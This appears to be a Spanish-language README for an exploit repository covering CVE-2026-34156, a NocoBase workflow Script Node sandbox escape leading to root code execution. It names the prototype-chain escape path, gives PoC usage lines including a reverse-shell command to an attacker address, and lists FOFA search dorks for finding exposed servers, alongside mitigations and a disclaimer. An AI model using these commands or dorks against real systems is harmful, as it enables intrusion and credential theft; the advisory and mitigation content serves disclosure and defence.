🚨 CVE-2026-34156 - Escape Crítico de Sandbox en NocoBase

Sin autenticación / privilegios bajos → ejecución remota de código como root en NocoBase

📌 Resumen

CVE-2026-34156 es una vulnerabilidad crítica de escape de sandbox en NocoBase (una plataforma de código abierto no-code/low-code).

Un atacante con la capacidad de crear o ejecutar un Workflow Script Node (incluso con privilegios bajos) puede escapar del sandbox vm de Node.js y lograr ejecución remota de código completa como root dentro del contenedor.

Versiones Afectadas

• NocoBase < 2.0.28

Corregido En

• NocoBase 2.0.28 (publicada en marzo de 2026)

🛠 Detalles de la Vulnerabilidad

• Componente: @nocobase/plugin-workflow-javascript (Script Node)
• Tipo: Escape de sandbox vía console._stdout.constructor.constructor
• Impacto:
  • Ejecución remota de código como root (uid=0)
  • Ejecución arbitraria de comandos
  • Acceso al sistema de archivos (fs)
  • Fuga de variables de entorno (credenciales de base de datos, secretos)
  • Compromiso total del contenedor

Causa Raíz

El objeto console pasado al sandbox proviene del realm del host, lo que permite a los atacantes escalar por la cadena de prototipos y acceder al constructor real de Function → process.mainModule.require.

🚀 Exploit

Prueba de Concepto (PoC)

# Simple command execution
python3 CVE-2026-34156.py -u https://target.com -e [email protected] -p password -c "id"

# Reverse shell
python3 CVE-2026-34156.py -u https://target.com -r 192.168.1.100:4444

El repositorio incluye: Script PoC completo, plantilla de Nuclei y verificador seguro.

🧪 Detección

Plantilla de Nuclei

nuclei -u https://target -t cves/CVE-2026-34156.yaml

Dorks de FOFA

title="NocoBase" || title="Sign in - NocoBase"
title="NocoBase" && body="workflow"

🛡️ Mitigación

1. Actualiza inmediatamente a NocoBase 2.0.28 o una versión más reciente.
2. Desactiva el Workflow Script Node para usuarios no confiables.
3. Ejecuta los contenedores de NocoBase como usuario no root.
4. Usa un sandbox más robusto (p. ej., isolated-vm) en producción.

📸 Capturas de Pantalla

⚠️ Aviso Legal

Este repositorio es solo para fines educativos y de investigación de seguridad autorizada.
Úsalo únicamente en sistemas que poseas o para los que tengas permiso explícito por escrito para realizar pruebas.

La explotación no autorizada es ilegal.

⭐ Créditos y Referencias

• Descubrimiento: Desconocido (divulgado públicamente)
• Parche: Equipo de Seguridad de NocoBase
• NVD: CVE-2026-34156
• Aviso de GitHub: GHSA-px3p-vgh9-m57c